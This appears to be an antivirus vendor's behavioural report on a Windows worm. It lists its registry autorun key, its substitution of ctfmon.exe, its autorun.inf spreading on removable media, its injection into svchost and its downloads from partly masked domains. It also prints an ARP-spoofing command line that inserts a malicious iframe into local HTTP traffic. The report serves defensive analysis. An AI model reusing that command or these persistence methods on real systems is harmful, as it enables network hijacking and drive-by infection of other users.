Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'ctfmon.exe' = '<SYSTEM32>\ctfmon.exe'
Creates or modifies the following files:
- %WINDIR%\Tasks\ВМ»Ї.bat
Substitutes the following executable system files:
- <SYSTEM32>\dllcache\ctfmon.exe with <SYSTEM32>\dllcache\ctfmon.exe
- <SYSTEM32>\ctfmon.exe with <SYSTEM32>\ctfmon.exe
Creates the following files on removable media:
- <Drive name for removable media>:\recycle.{645FF040-5081-101B-9F08-00AA002F954E}\GHOSTBAK.exe
- <Drive name for removable media>:\autorun.inf
Malicious functions:
Creates and executes the following:
- '<SYSTEM32>\wincap.exe'
- '<SYSTEM32>\arps.com' -idx 0 -ip 10.0.0.2-10.0.0.255 -port 80 -insert "<iframe width=100 height=0 src=http://ed###djhsh.cn/a/index.html></iframe>"
- '<SYSTEM32>\wins\svchost.exe'
- '%TEMP%\mLawBHU8O9.pif'
- '<SYSTEM32>\arps.com' (downloaded from the Internet)
- '%TEMP%\mLawBHU8O9.pif' (downloaded from the Internet)
- '<SYSTEM32>\wincap.exe' (downloaded from the Internet)
Executes the following:
- '<SYSTEM32>\ipconfig.exe'
- '<SYSTEM32>\cmd.exe' /c <Current directory>\del.bat
Injects code into
the following system processes:
- <SYSTEM32>\svchost.exe
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\ctfmon.exe
Modifies file system :
Creates the following files:
- <SYSTEM32>\wincap.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\wincap[1].exe
- <SYSTEM32>\arps.com
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\arp[1].exe
- <Current directory>\del.bat
- <SYSTEM32>\wins\svchost.exe
- %TEMP%\mLawBHU8O9.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\08[1].exe
Sets the 'hidden' attribute to the following files:
- <Drive name for removable media>:\autorun.inf
Deletes the following files:
- <SYSTEM32>\dllcache\ctfmon.exe
- <SYSTEM32>\ctfmon.exe
Deletes itself.
Network activity:
Connects to:
- '<Private IP address>':139
- 'af####ffefsasd.com':80
- 'ed###djhsh.cn':80
- '<Private IP address>':445
- '<Private IP address>':80
- 'localhost':1038
TCP:
HTTP GET requests:
- ed###djhsh.cn/wincap.exe
- ed###djhsh.cn/arp.exe
- af####ffefsasd.com/08.exe
- ed###djhsh.cn/xyy/get.asp?ma####################
UDP:
- DNS ASK ed###djhsh.cn
- DNS ASK af####ffefsasd.com
Miscellaneous:
Searches for the following windows:
- ClassName: 'Progman' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'Indicator' WindowName: '(null)'
